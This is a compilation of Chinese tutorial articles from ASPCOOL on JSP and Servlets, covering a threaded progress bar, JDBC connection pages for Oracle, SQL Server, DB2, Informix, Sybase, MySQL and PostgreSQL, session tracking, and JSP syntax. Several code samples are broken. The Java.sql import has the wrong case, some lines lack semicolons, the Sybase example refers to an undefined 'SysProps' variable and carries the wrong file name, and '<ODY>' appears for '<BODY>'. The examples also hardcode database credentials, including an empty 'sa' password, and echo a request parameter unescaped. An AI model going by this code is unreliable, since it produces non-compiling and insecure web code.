JSP编程进度条设计实例(1) -- ASP酷技术网

许多Web应用、企业应用涉及到长时间的操作，例如复杂的数据库查询或繁重的XML处理等，虽然这些任务主要由数据库系统或中间件完成，但任务执行的结果仍旧要借助JSP才能发送给用户。本文介绍了一种通过改进前端表现层来改善用户感觉、减轻服务器负载的办法。

    当JSP调用一个必须长时间运行的操作，且该操作的结果不能（在服务器端）缓冲，用户每次请求该页面时都必须长时间等待。很多时候，用户会失去耐心，接着尝试点击浏览器的刷新按钮，最终失望地离开。

    本文介绍的技术是把繁重的计算任务分离开来，由一个独立的线程运行，从而解决上述问题。当用户调用JSP页面时，JSP页面会立即返回，并提示用户任务已经启动且正在执行；JSP页面自动刷新自己，报告在独立线程中运行的繁重计算任务的当前进度，直至任务完成。

一、模拟任务

    首先我们设计一个TaskBean类，它实现Java.lang.Runnable 接口，其run()方法在一个由JSP页面（start.jsp）启动的独立线程中运行。终止run()方法执行由另一个JSP页面stop.jsp负责。TaskBean类还实现了java.io.Serializable接口，这样JSP页面就可以将它作为JavaBean调用：

package test.barBean;
import java.io.Serializable;

public class TaskBean implements Runnable, Serializable {
private int counter;
private int sum;
private boolean started;
private boolean running;
private int sleep;

public TaskBean() {
counter = 0;
sum = 0;
started = false;
running = false;
sleep = 100;
}
}

    TaskBean包含的“繁重任务”是计算1+2+3…+100的值，不过它不通过100*(100+1)/2=5050公式计算，而是由 run()方法调用work()方法100次完成计算。work()方法的代码如下所示，其中调用Thread.sleep()是为了确保任务总耗时约 10秒。

protected void work() {
try {
Thread.sleep(sleep);
counter++;
sum += counter;
} catch (InterruptedException e) {
setRunning(false);
}
}

    status.jsp页面通过调用下面的getPercent()方法获得任务的完成状况：

public synchronized int getPercent() {
return counter;
} 做人要厚道，请注明转自酷网动力(www.ASPCOOL.COM)。


JSP编程进度条设计实例(2) -- ASP酷技术网

如果任务已经启动，isStarted()方法将返回true：

public synchronized boolean isStarted() {
return started;
}

    如果任务已经完成，isCompleted()方法将返回true：

public synchronized boolean isCompleted() {
return counter == 100;
}

    如果任务正在运行，isRunning()方法将返回true：

public synchronized boolean isRunning() {
return running;
}

    SetRunning()方法由start.JSP或stop.jsp调用，当running参数是true时。SetRunning()方法还要将任务标记为“已经启动”。调用setRunning(false)表示要求run()方法停止执行。

public synchronized void setRunning(boolean running) {
this.running = running;
if (running)
started = true;
}

    任务执行完毕后，调用getResult()方法返回计算结果；如果任务尚未执行完毕，它返回null：

public synchronized Object getResult() {
if (isCompleted())
return new Integer(sum);
else
return null;
}

    当running标记为true、completed标记为false时，run()方法调用work()。在实际应用中，run()方法也许要执行复杂的SQL查询、解析大型XML文档，或者调用消耗大量CPU时间的EJB方法。注意“繁重的任务”可能要在远程服务器上执行。报告结果的JSP页面有两种选择：或者等待任务结束，或者使用一个进度条。

public void run() {
try {
setRunning(true);
while (isRunning() && !isCompleted())
work();
} finally {
setRunning(false);
}
} 做人要厚道，请注明转自酷网动力(www.ASPCOOL.COM)。


JSP编程进度条设计实例(3) -- ASP酷技术网

二、启动任务

    start.JSP是Web.XML部署描述符中声明的欢迎页面，web.xml的内容是：

<?xml version="1.0" encoding="GB2312"?>

<!DOCTYPE web-app
PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://Java.sun.com/dtd/web-app_2_3.dtd">

<web-app>
<welcome-file-list>
<welcome-file>start.jsp</welcome-file>
</welcome-file-list>
</web-app>

    start.jsp启动一个专用的线程来运行“繁重的任务”，然后把HTTP请求传递给status.jsp。

    start.jsp页面利用<jsp:useBean>标记创建一个TaskBean的实例，将scope属性定义为 session使得对于来自同一浏览器的HTTP请求，其他页面也能提取到同一个Bean对象。start.jsp通过调用 session.removeAttribute("task")确保<jsp:useBean>创建了一个新的Bean对象，而不是提取一个旧对象（例如，同一个用户会话中更早的JSP页面所创建的Bean对象）。

    下面是start.jsp页面的代码清单：

<% session.removeAttribute("task"); %>

<jsp:useBean id="task" scope="session"
class="test.barBean.TaskBean"/>

<% task.setRunning(true); %>
<% new Thread(task).start(); %>
<jsp:forward page="status.jsp"/>

    start.jsp创建并设置好TaskBean对象之后，接着创建一个Thread，并将Bean对象作为一个Runnable实例传入。调用start()方法时新创建的线程将执行TaskBean对象的run()方法。

    现在有两个线程在并发执行：执行JSP页面的线程（称之为“JSP线程”），由JSP页面创建的线程（称之为“任务线程”）。接下来， start.jsp利用调用status.jsp，status.jsp显示出进度条以及任务的执行情况。注意status.jsp和start.jsp 在同一个JSP线程中运行。

    start.jsp在创建线程之前就把TaskBean的running标记设置成了true，这样，即使当JSP线程已开始执行status.jsp而任务线程的run()方法尚未启动，也能够确保用户会得到“任务已开始运行”的状态报告。

    将running标记设置成true、启动任务线程这两行代码可以移入TaskBean构成一个新的方法，然后由JSP页面调用这个新方法。一般而言，JSP页面应当尽量少用Java代码，即我们应当尽可能地把Java代码放入Java类。不过本例中我们不遵从这一规则，把new Thread(task).start()直接放入start.jsp突出表明JSP线程创建并启动了任务线程。

    在JSP页面中操作多线程必须谨慎，注意JSP线程和其它线程实际上是并发执行的，就象在桌面应用程序中，我们用一个线程来处理GUI事件，另外再用一个或多个线程来处理后台任务。不过在JSP环境中，考虑到多个用户同时请求某一个页面的情况，同一个JSP页面可能会在多个线程中同时运行；另外，有时同一个用户可能会向同一个页面发出多个请求，虽然这些请求来自同一个用户，它们也会导致服务器同时运行一个JSP页面的多个线程。 做人要厚道，请注明转自酷网动力(www.ASPCOOL.COM)。


JSP编程进度条设计实例(4) -- ASP酷技术网

三、任务进度

    status.JSP页面利用一个HTML进度条向用户显示任务的执行情况。首先，status.jsp利用<jsp:useBean>标记获得start.jsp页面创建的Bean对象：

<jsp:useBean id="task" scope="session"
class="test.barBean.TaskBean"/>

    为了及时反映任务执行进度，status.jsp会自动刷新。JavaScript代码setTimeout("location='status.jsp'", 1000)将每隔1000毫秒刷新页面，重新请求status.jsp，不需要用户干预。

<HTML>

<HEAD>
<TITLE>JSP进度条</TITLE>
<% if (task.isRunning()) { %>
<SCRIPT LANGUAGE="JavaScript">
setTimeout("location='status.jsp'", 1000);
</SCRIPT>
<% } %>
</HEAD>

<ODY>

    进度条实际上是一个HTML表格，包含10个单元——即每个单元代表任务总体的10%进度。

<H1 ALIGN="CENTER">JSP进度条</H1>

<H2 ALIGN="CENTER">
结果: <%= task.getResult() %><BR>
<% int percent = task.getPercent(); %>
<%= percent %>%
</H2>

<TABLE WIDTH="60%" ALIGN="CENTER"
BORDER=1 CELLPADDING=0 CELLSPACING=2>
<TR>
<% for (int i = 10; i <= percent; i += 10) { %>
<TD WIDTH="10%" BGCOLOR="#000080"> </TD>
<% } %>
<% for (int i = 100; i > percent; i -= 10) { %>
<TD WIDTH="10%"> </TD>
<% } %>
</TR>
</TABLE>

    任务执行情况分下面几种状态：正在执行，已完成，尚未开始，已停止：

<TABLE WIDTH="100%" BORDER=0 CELLPADDING=0 CELLSPACING=0>
<TR>
<TD ALIGN="CENTER">
<% if (task.isRunning()) { %>
正在执行
<% } else { %>
<% if (task.isCompleted()) { %>
完成
<% } else if (!task.isStarted()) { %>
尚未开始
<% } else { %>
已停止
<% } %>
<% } %>
</TD>
</TR> 做人要厚道，请注明转自酷网动力(www.ASPCOOL.COM)。


JSP编程进度条设计实例(5) -- ASP酷技术网

页面底部提供了一个按钮，用户可以用它来停止或重新启动任务：

<TR>
<TD ALIGN="CENTER">
<BR>
<% if (task.isRunning()) { %>
<FORM METHOD="GET" ACTION="stop.JSP">
<INPUT TYPE="SUBMIT" VALUE="停止">
</FORM>
<% } else { %>
<FORM METHOD="GET" ACTION="start.jsp">
<INPUT TYPE="SUBMIT" VALUE="开始">
</FORM>
<% } %>
</TD>
</TR>
</TABLE>
</BODY></HTML>

    只要不停止任务，约10秒后浏览器将显示出计算结果5050：

    四、停止任务

    stop.jsp页面把running标记设置成false，从而停止当前的计算任务：

<jsp:useBean id="task" scope="session"
class="test.barBean.TaskBean"/>

<% task.setRunning(false); %>
<jsp:forward page="status.jsp"/>

    注意最早的Java版本提供了Thread.stop方法，但JDK从1.2版开始已经不赞成使用Thread.stop方法，所以我们不能直接调用Thread.stop()。

    第一次运行本文程序的时候，你会看到任务的启动有点延迟；同样地，第一次点击“停止”按钮时也可以看到任务并没有立即停止运行（特别是如果机器配置较低的话，延迟的感觉更加明显），这些延迟都是由于编译JSP页面导致的。编译好JSP页面之后，应答速度就要快多了。

    五、实际应用

    进度条不仅使得用户界面更加友好，而且对服务器的性能也有好处，因为进度条会不断地告诉用户当前的执行进度，用户不会再频繁地停止并重新启动（刷新）当前的任务。另一方面，创建单独的线程来执行后台任务也会消耗不少资源，必要时可考虑通过一个线程池来实现Thread对象的重用。另外，频繁地刷新进度页面也增加了网络通信开销，所以务必保持进度页面简洁短小。

    在实际应用中，后台执行的繁重任务可能不允许停止，或者它不能提供详细的执行进度数据。例如，查找或更新关系数据库时，SQL命令执行期间不允许中途停止——不过如果用户表示他想要停止或中止任务，程序可以在SQL命令执行完毕后回退事务。

    解析XML文档的时候，我们没有办法获知已解析内容精确的百分比。如果用DOM解析XML文档，直到解析完成后才得到整个文档树；如果用SAX，虽然可以知道当前解析的内容，但通常不能确定还有多少内容需要解析。在这些场合，任务的执行进度只能靠估计得到。

    估计一个任务需要多少执行时间通常是很困难的，因为它涉及到许多因素，即使用实际测试的办法也无法得到可靠的结论，因为服务器的负载随时都在变化之中。一种简单的办法是测量任务每次执行所需时间，然后根据最后几次执行的平均时间估算。如果要提高估计时间的精确度，应当考虑实现一种针对应用特点的算法，综合考虑多种因素，例如要执行的SQL语句类型、要解析的XML模式的复杂程度，等等。

    结束语：本文例子显示出用JSP、Java、HTML和JavaScript构造进度条是相当容易的，真正困难的是如何将它用到实际应用之中，特别是获得后台任务的进度信息，但这个问题没有通用的答案，每一种后台执行的任务都有它自己的特点，必须按照具体情况具体分析。 做人要厚道，请注明转自酷网动力(www.ASPCOOL.COM)。


JSP连接各类数据库大全(1) -- ASP酷技术网

现在有好多初学JSP的网友经常会问数据库怎么连接啊，怎么老出错啊？所以我集中的在这写篇文章供大家参考，其实这种把数据库逻辑全部放在jsp里未必是好的做法，但是有利于初学者学习，所以我就这样做了，当大家学到一定程度的时候，可以考虑用MVC的模式开发。在练习这些代码的时候，你一定将JDBC的驱动程序放到服务器的类路径里，然后要在数据库里建一个表test,有两个字段比如为test1，test2，可以用下面SQL建
    create table test(test1 varchar(20),test2 varchar(20)
然后向这个表写入一条测试纪录，那么现在开始我们的jsp和数据库之旅吧。

    一、jsp连接Oracle8/8i/9i数据库（用thin模式）
    testoracle.jsp如下：
    <%@ page contentType="text/html;charset=gb2312"%>
    <%@ page import="Java.sql.*"%>
    <html>
    <body>
    <%Class.forName("oracle.jdbc.driver.OracleDriver").newInstance();
    String url="jdbc:oracle:thin:@localhost:1521:orcl";
    //orcl为你的数据库的SID
    String user="scott";
    String password="tiger";
    Connection conn= DriverManager.getConnection(url,user,password);
    Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
    String sql="select * from test";
    ResultSet rs=stmt.executeQuery(sql);
    while(rs.next()) {%>
    您的第一个字段内容为：<%=rs.getString(1)%>
    您的第二个字段内容为：<%=rs.getString(2)%>
    <%}%>
    <%out.print("数据库操作成功，恭喜你");%>
    <%rs.close();
    stmt.close();
    conn.close();
    %>
    </body>
    </html> 做人要厚道，请注明转自酷网动力(www.ASPCOOL.COM)。


JSP连接各类数据库大全(2) -- ASP酷技术网

二、JSP连接SQL Server7.0/2000数据库
    testsqlserver.jsp如下：
    <%@ page contentType="text/html;charset=gb2312"%>
    <%@ page import="Java.sql.*"%>
    <html>
    <body>
    <%Class.forName("com.microsoft.JDBC.sqlserver.SQLServerDriver").newInstance();
    String url="jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=pubs";
    //pubs为你的数据库的
    String user="sa";
    String password="";

    Connection conn= DriverManager.getConnection(url,user,password);
    Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
    String sql="select * from test";
    ResultSet rs=stmt.executeQuery(sql);
    while(rs.next()) {%>
    您的第一个字段内容为：<%=rs.getString(1)%>
    您的第二个字段内容为：<%=rs.getString(2)%>
    <%}%>
    <%out.print("数据库操作成功，恭喜你");%>
    <%rs.close();
    stmt.close();
    conn.close();

    %>
    </body>
    </html> 做人要厚道，请注明转自酷网动力(www.ASPCOOL.COM)。


JSP连接各类数据库大全(3) -- ASP酷技术网

三、JSP连接DB2数据库
    testdb2.jsp如下：
    <%@ page contentType="text/html;charset=gb2312"%>
    <%@ page import="Java.sql.*"%>
    <html>
    <body>
    <%Class.forName("com.ibm.db2.JDBC.app.DB2Driver ").newInstance();
    String url="jdbc:db2://localhost:5000/sample";
    //sample为你的数据库名
    String user="admin";
    String password="";
    Connection conn= DriverManager.getConnection(url,user,password);
    Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
    String sql="select * from test";
    ResultSet rs=stmt.executeQuery(sql);
    while(rs.next()) {%>
    您的第一个字段内容为：<%=rs.getString(1)%>
    您的第二个字段内容为：<%=rs.getString(2)%>
    <%}%>
    <%out.print("数据库操作成功，恭喜你");%>
    <%rs.close();
    stmt.close();
    conn.close();
    %>
    </body>
    </html> 做人要厚道，请注明转自酷网动力(www.ASPCOOL.COM)。


JSP连接各类数据库大全(4) -- ASP酷技术网

四、JSP连接Informix数据库
    testinformix.jsp如下：
    <%@ page contentType="text/html;charset=gb2312"%>
    <%@ page import="Java.sql.*"%>
    <html>
    <body>
    <%Class.forName("com.informix.JDBC.IfxDriver").newInstance();
    String url =
    "jdbc:informix-sqli://123.45.67.89:1533/testDB:INFORMIXSERVER=myserver;
    user=testuser;password=testpassword";
    //testDB为你的数据库名
    Connection conn= DriverManager.getConnection(url);
    Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
    String sql="select * from test";
    ResultSet rs=stmt.executeQuery(sql);
    while(rs.next()) {%>
    您的第一个字段内容为：<%=rs.getString(1)%>
    您的第二个字段内容为：<%=rs.getString(2)%>
    <%}%>
    <%out.print("数据库操作成功，恭喜你");%>
    <%rs.close();
    stmt.close();
    conn.close();
    %>
    </body>
    </html> 做人要厚道，请注明转自酷网动力(www.ASPCOOL.COM)。


JSP连接各类数据库大全(5) -- ASP酷技术网

五、JSP连接Sybase数据库
    testMySQL.jsp如下：
    <%@ page contentType="text/html;charset=gb2312"%>
    <%@ page import="Java.sql.*"%>
    <html>
    <body>
    <%Class.forName("com.sybase.JDBC.SybDriver").newInstance();
    String url =" jdbc:sybase:Tds:localhost:5007/tsdata";
    //tsdata为你的数据库名
    Properties sysProps = System.getProperties();
    SysProps.put("user","userid");
    SysProps.put("password","user_password");
    Connection conn= DriverManager.getConnection(url, SysProps);
    Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
    String sql="select * from test";
    ResultSet rs=stmt.executeQuery(sql);
    while(rs.next()) {%>
    您的第一个字段内容为：<%=rs.getString(1)%>
    您的第二个字段内容为：<%=rs.getString(2)%>
    <%}%>
    <%out.print("数据库操作成功，恭喜你");%>
    <%rs.close();
    stmt.close();
    conn.close();
    %>
    </body>
    </html> 做人要厚道，请注明转自酷网动力(www.ASPCOOL.COM)。


JSP连接各类数据库大全(6) -- ASP酷技术网

六、JSP连接MySQL数据库
    testmysql.jsp如下：
    <%@ page contentType="text/html;charset=gb2312"%>
    <%@ page import="Java.sql.*"%>
    <html>
    <body>
    <%Class.forName("org.gjt.mm.mysql.Driver").newInstance();
    String url ="JDBC:mysql://localhost/softforum?user=soft&password=soft1234&useUnicode=true&characterEncoding=8859_1"
    //testDB为你的数据库名
    Connection conn= DriverManager.getConnection(url);
    Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
    String sql="select * from test";
    ResultSet rs=stmt.executeQuery(sql);
    while(rs.next()) {%>
    您的第一个字段内容为：<%=rs.getString(1)%>
    您的第二个字段内容为：<%=rs.getString(2)%>
    <%}%>
    <%out.print("数据库操作成功，恭喜你");%>
    <%rs.close();
    stmt.close();
    conn.close();
    %>
    </body>
    </html> 做人要厚道，请注明转自酷网动力(www.ASPCOOL.COM)。


JSP连接各类数据库大全(7) -- ASP酷技术网

七、JSP连接PostgreSQL数据库
    testMySQL.jsp如下：
    <%@ page contentType="text/html;charset=gb2312"%>
    <%@ page import="Java.sql.*"%>
    <html>
    <body>
    <%Class.forName("org.postgresql.Driver").newInstance();
    String url ="JDBC:postgresql://localhost/soft"
    //soft为你的数据库名
    String user="myuser";
    String password="mypassword";
    Connection conn= DriverManager.getConnection(url,user,password);
    Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
    String sql="select * from test";
    ResultSet rs=stmt.executeQuery(sql);
    while(rs.next()) {%>
    您的第一个字段内容为：<%=rs.getString(1)%>
    您的第二个字段内容为：<%=rs.getString(2)%>
    <%}%>
    <%out.print("数据库操作成功，恭喜你");%>
    <%rs.close();
    stmt.close();
    conn.close();
    %>
    </body>
    </html> 做人要厚道，请注明转自酷网动力(www.ASPCOOL.COM)。


一、Servlet和JSP概述 -- ASP酷技术网

一、Servlet和JSP概述
作 者 : 仙人掌工作室

     1.1 Java Servlet及其特点

     Servlet是Java技术对CGI编程的回答。Servlet程序在服务器端运行，动态地生成Web页面。与传统的CGI和许多其他类似CGI的技术相比，Java Servlet具有更高的效率，更容易使用，功能更强大，具有更好的可移植性，更节省投资（更重要的是， Servlet程序员收入要比Perl程序员高:-）：

高效。

在传统的CGI中，每个请求都要启动一个新的进程，如果CGI程序本身的执行时间较短，启动进程所需要的开销很可能反而超过实际执行时间。而在Servlet中，每个请求由一个轻量级的Java线程处理（而不是重量级的操作系统进程）。
在传统CGI中，如果有N个并发的对同一CGI程序的请求，则该CGI程序的代码在内存中重复装载了N次；而对于Servlet，处理请求的是N个线程，只需要一份Servlet类代码。在性能优化方面，Servlet也比CGI有着更多的选择，比如缓冲以前的计算结果，保持数据库连接的活动，等等。

方便。

Servlet提供了大量的实用工具例程，例如自动地解析和解码HTML表单数据、读取和设置HTTP头、处理Cookie、跟踪会话状态等。

功能强大。

在Servlet中，许多使用传统CGI程序很难完成的任务都可以轻松地完成。例如，Servlet能够直接和Web服务器交互，而普通的CGI程序不能。Servlet还能够在各个程序之间共享数据，使得数据库连接池之类的功能很容易实现。

可移植性好。

Servlet用Java编写，Servlet API具有完善的标准。因此，为I-Planet Enterprise Server写的Servlet无需任何实质上的改动即可移植到Apache、Microsoft IIS或者WebStar。几乎所有的主流服务器都直接或通过插件支持Servlet。

节省投资。

不仅有许多廉价甚至免费的Web服务器可供个人或小规模网站使用，而且对于现有的服务器，如果它不支持Servlet的话，要加上这部分功能也往往是免费的（或只需要极少的投资）。
     1.2 JSP及其特点

     JavaServer Pages（JSP）是一种实现普通静态HTML和动态HTML混合编码的技术，有关JSP基础概念的说明请参见《JSP技术简介 》。

     许多由CGI程序生成的页面大部分仍旧是静态HTML，动态内容只在页面中有限的几个部分出现。但是包括Servlet在内的大多数CGI技术及其变种，总是通过程序生成整个页面。JSP使得我们可以分别创建这两个部分。例如，下面就是一个简单的JSP页面：
＜!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"＞
＜HTML＞
＜HEAD＞＜TITLE＞欢迎访问网上商店＜/TITLE＞＜/HEAD＞
＜BODY＞
＜H1＞欢迎＜/H1＞
＜SMALL＞欢迎,
＜!-- 首次访问的用户名字为"New User" --＞
＜% out.println(Utils.getUserNameFromCookie(request)); %＞
要设置帐号信息，请点击
＜A HREF="Account-Settings.html"＞这里＜/A＞＜/SMALL＞
＜P＞
页面的其余内容。.
＜/BODY＞＜/HTML＞

     下面是JSP和其他类似或相关技术的一个简单比较：

JSP和Active Server Pages（ASP）相比

Microsoft的ASP是一种和JSP类似的技术。JSP和ASP相比具有两方面的优点。首先，动态部分用Java编写，而不是VB Script或其他Microsoft语言，不仅功能更强大而且更易于使用。第二，JSP应用可以移植到其他操作系统和非Microsoft的Web服务器上。

JSP和纯Servlet相比

JSP并没有增加任何本质上不能用Servlet实现的功能。但是，在JSP中编写静态HTML更加方便，不必再用 println语句来输出每一行HTML代码。更重要的是，借助内容和外观的分离，页面制作中不同性质的任务可以方便地分开：比如，由页面设计专家进行HTML设计，同时留出供Servlet程序员插入动态内容的空间。

JSP和服务器端包含（Server-Side Include，SSI）相比

SSI是一种受到广泛支持的在静态HTML中引入外部代码的技术。JSP在这方面的支持更为完善，因为它可以用Servlet而不是独立的程序来生成动态内容。另外，SSI实际上只用于简单的包含，而不是面向那些能够处理表单数据、访问数据库的“真正的”程序。

JSP和JavaScript相比

JavaScript能够在客户端动态地生成HTML。虽然JavaScript很有用，但它只能处理以客户端环境为基础的动态信息。除了Cookie之外，HTTP状态和表单提交数据对JavaScript来说都是不可用的。另外，由于是在客户端运行，JavaScript不能访问服务器端资源，比如数据库、目录信息等等。
做人要厚道，请注明转自酷网动力(www.ASPCOOL.COM)。


十、会话状态 -- ASP酷技术网

作者： 仙人掌工作室 www.ASPCool.com 时间:2000-11-8 15:34:07 阅读次数:34508

十、会话状态
作 者 : 仙人掌工作室

     10.1 会话状态概述

     HTTP协议的“无状态”（Stateless）特点带来了一系列的问题。特别是通过在线商店购物时，服务器不能顺利地记住以前的事务就成了严重的问题。它使得“购物篮”之类的应用很难实现：当我们把商品加入购物篮时，服务器如何才能知道篮子里原先有些什么？即使服务器保存了上下文信息，我们仍旧会在电子商务应用中遇到问题。例如，当用户从选择商品的页面（由普通的服务器提供）转到输入信用卡号和送达地址的页面（由支持SSL的安全服务器提供），服务器如何才能记住用户买了些什么？

     这个问题一般有三种解决方法：

Cookie。利用HTTP Cookie来存储有关购物会话的信息，后继的各个连接可以查看当前会话，然后从服务器的某些地方提取有关该会话的完整信息。这是一种优秀的，也是应用最广泛的方法。然而，即使Servlet提供了一个高级的、使用方便的Cookie接口，仍旧有一些繁琐的细节问题需要处理：
从其他Cookie中分别出保存会话标识的Cookie。
为Cookie设置合适的作废时间（例如，中断时间超过24小时的会话一般应重置）。
把会话标识和服务器端相应的信息关联起来。（实际保存的信息可能要远远超过保存到Cookie的信息，而且象信用卡号等敏感信息永远不应该用Cookie来保存。）
改写URL。你可以把一些标识会话的数据附加到每个URL的后面，服务器能够把该会话标识和它所保存的会话数据关联起来。这也是一个很好的方法，而且还有当浏览器不支持Cookie或用户已经禁用Cookie的情况下也有效这一优点。然而，大部分使用Cookie时所面临的问题同样存在，即服务器端的程序要进行许多简单但单调冗长的处理。另外，还必须十分小心地保证每个URL后面都附加了必要的信息（包括非直接的，如通过Location给出的重定向URL）。如果用户结束会话之后又通过书签返回，则会话信息会丢失。
隐藏表单域。HTML表单中可以包含下面这样的输入域：＜INPUT TYPE="HIDDEN" NAME="session" VALUE="..."＞。这意味着，当表单被提交时，隐藏域的名字和数据也被包含到GET或POST数据里，我们可以利用这一机制来维持会话信息。然而，这种方法有一个很大的缺点，它要求所有页面都是动态生成的，因为整个问题的核心就是每个会话都要有一个唯一标识符。
     Servlet为我们提供了一种与众不同的方案：HttpSession API。HttpSession API是一个基于Cookie或者URL改写机制的高级会话状态跟踪接口：如果浏览器支持Cookie，则使用Cookie；如果浏览器不支持Cookie或者Cookie功能被关闭，则自动使用URL改写方法。Servlet开发者无需关心细节问题，也无需直接处理Cookie或附加到URL后面的信息，API自动为Servlet开发者提供一个可以方便地存储会话信息的地方。

     10.2 会话状态跟踪API

     在Servlet中使用会话信息是相当简单的，主要的操作包括：查看和当前请求关联的会话对象，必要的时候创建新的会话对象，查看与某个会话相关的信息，在会话对象中保存信息，以及会话完成或中止时释放会话对象。

     10.2.1 查看当前请求的会话对象

     查看当前请求的会话对象通过调用HttpServletRequest的getSession方法实现。如果getSession方法返回null，你可以创建一个新的会话对象。但更经常地，我们通过指定参数使得不存在现成的会话时自动创建一个会话对象，即指定getSession的参数为true。因此，访问当前请求会话对象的第一个步骤通常如下所示：
HttpSession session = request.getSession(true);

     10.2.2 查看和会话有关的信息

     HttpSession对象生存在服务器上，通过Cookie或者URL这类后台机制自动关联到请求的发送者。会话对象提供一个内建的数据结构，在这个结构中可以保存任意数量的键-值对。在2.1或者更早版本的Servlet API中，查看以前保存的数据使用的是getValue("key")方法。getValue返回Object，因此你必须把它转换成更加具体的数据类型。如果参数中指定的键不存在，getValue返回null。

     API 2.2版推荐用getAttribute来代替getValue，这不仅是因为getAttribute和setAttribute的名字更加匹配（和getValue匹配的是putValue，而不是setValue），同时也因为setAttribute允许使用一个附属的HttpSessionBindingListener 来监视数值，而putValue则不能。

     但是，由于目前还只有很少的商业Servlet引擎支持2.2，下面的例子中我们仍旧使用getValue。这是一个很典型的例子，假定ShoppingCart是一个保存已购买商品信息的类：
HttpSession session = request.getSession(true);
ShoppingCart previousItems =
(ShoppingCart)session.getValue("previousItems");
if (previousItems != null) {
doSomethingWith(previousItems);
} else {
previousItems = new ShoppingCart(...);
doSomethingElseWith(previousItems);
}

     大多数时候我们都是根据特定的名字寻找与它关联的值，但也可以调用getValueNames得到所有属性的名字。getValuesNames返回的是一个String数组。API 2.2版推荐使用getAttributeNames，这不仅是因为其名字更好，而且因为它返回的是一个Enumeration，和其他方法（比如HttpServletRequest的getHeaders和getParameterNames）更加一致。

     虽然开发者最为关心的往往是保存到会话对象的数据，但还有其他一些信息有时也很有用。

getID：该方法返回会话的唯一标识。有时该标识被作为键-值对中的键使用，比如会话中只保存一个值时，或保存上一次会话信息时。
isNew：如果客户（浏览器）还没有绑定到会话则返回true，通常意味着该会话刚刚创建，而不是引用自客户端的请求。对于早就存在的会话，返回值为false。
getCreationTime：该方法返回建立会话的以毫秒计的时间，从1970.01.01（GMT）算起。要得到用于打印输出的时间值，可以把该值传递给Date构造函数，或者GregorianCalendar的setTimeInMillis方法。
getLastAccessedTime：该方法返回客户最后一次发送请求的以毫秒计的时间，从1970.01.01（GMT）算起。
getMaxInactiveInterval：返回以秒计的最大时间间隔，如果客户请求之间的间隔不超过该值，Servlet引擎将保持会话有效。负数表示会话永远不会超时。
     10.2.3 在会话对象中保存数据

     如上节所述，读取保存在会话中的信息使用的是getValue方法（或，对于2.2版的Servlet规范，使用getAttribute）。保存数据使用putValue（或setAttribute）方法，并指定键和相应的值。注意putValue将替换任何已有的值。有时候这正是我们所需要的（如下例中的referringPage），但有时我们却需要提取原来的值并扩充它（如下例previousItems）。示例代码如下：
HttpSession session = request.getSession(true);
session.putValue("referringPage", request.getHeader("Referer"));
ShoppingCart previousItems =
(ShoppingCart)session.getValue("previousItems");
if (previousItems == null) {
previousItems = new ShoppingCart(...);
}
String itemID = request.getParameter("itemID");
previousItems.addEntry(Catalog.getEntry(itemID));

session.putValue("previousItems", previousItems);

     10.3 实例：显示会话信息

     下面这个例子生成一个Web页面，并在该页面中显示有关当前会话的信息。
package hall;

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import java.net.*;
import java.util.*;

public class ShowSession extends HttpServlet {
public void doGet(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
HttpSession session = request.getSession(true);
response.setContentType("text/html");
PrintWriter out = response.getWriter();
String title = "Searching the Web";
String heading;
Integer accessCount = new Integer(0);;
if (session.isNew()) {
heading = "Welcome, Newcomer";
} else {
heading = "Welcome Back";
Integer oldAccessCount =
// 在Servlet API 2.2中使用getAttribute而不是getValue
(Integer)session.getValue("accessCount");
if (oldAccessCount != null) {
accessCount =
new Integer(oldAccessCount.intValue() + 1);
}
}
// 在Servlet API 2.2中使用putAttribute
session.putValue("accessCount", accessCount);

out.println(ServletUtilities.headWithTitle(title) +
"＜BODY BGCOLOR=＼"#FDF5E6＼"＞＼n" +
"＜H1 ALIGN=＼"CENTER＼"＞" + heading + "＜/H1＞＼n" +
"＜H2＞Information on Your Session:＜/H2＞＼n" +
"＜TABLE BORDER=1 ALIGN=CENTER＞＼n" +
"＜TR BGCOLOR=＼"#FFAD00＼"＞＼n" +
" ＜TH＞Info Type＜TH＞Value＼n" +
"＜TR＞＼n" +
" ＜TD＞ID＼n" +
" ＜TD＞" + session.getId() + "＼n" +
"＜TR＞＼n" +
" ＜TD＞Creation Time＼n" +
" ＜TD＞" + new Date(session.getCreationTime()) + "＼n" +
"＜TR＞＼n" +
" ＜TD＞Time of Last Access＼n" +
" ＜TD＞" + new Date(session.getLastAccessedTime()) + "＼n" +
"＜TR＞＼n" +
" ＜TD＞Number of Previous Accesses＼n" +
" ＜TD＞" + accessCount + "＼n" +
"＜/TABLE＞＼n" +
"＜/BODY＞＜/HTML＞");
}
public void doPost(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
doGet(request, response);
}
}

做人要厚道，请注明转自酷网动力(www.ASPCOOL.COM)。


十一、JSP及语法概要 -- ASP酷技术网

十一、JSP及语法概要
作 者 : 仙人掌工作室

     11.1 概述

     JavaServer Pages（JSP）使得我们能够分离页面的静态HTML和动态部分。HTML可以用任何通常使用的Web制作工具编写，编写方式也和原来的一样；动态部分的代码放入特殊标记之内，大部分以“＜%”开始，以“%＞”结束。例如，下面是一个JSP页面的片断，如果我们用http://host/OrderConfirmation.jsp?title=Core+Web+Programming这个URL打开该页面，则结果显示“Thanks for ordering Core Web Programming”。
Thanks for ordering
＜I＞＜%= request.getParameter("title") %＞＜/I＞

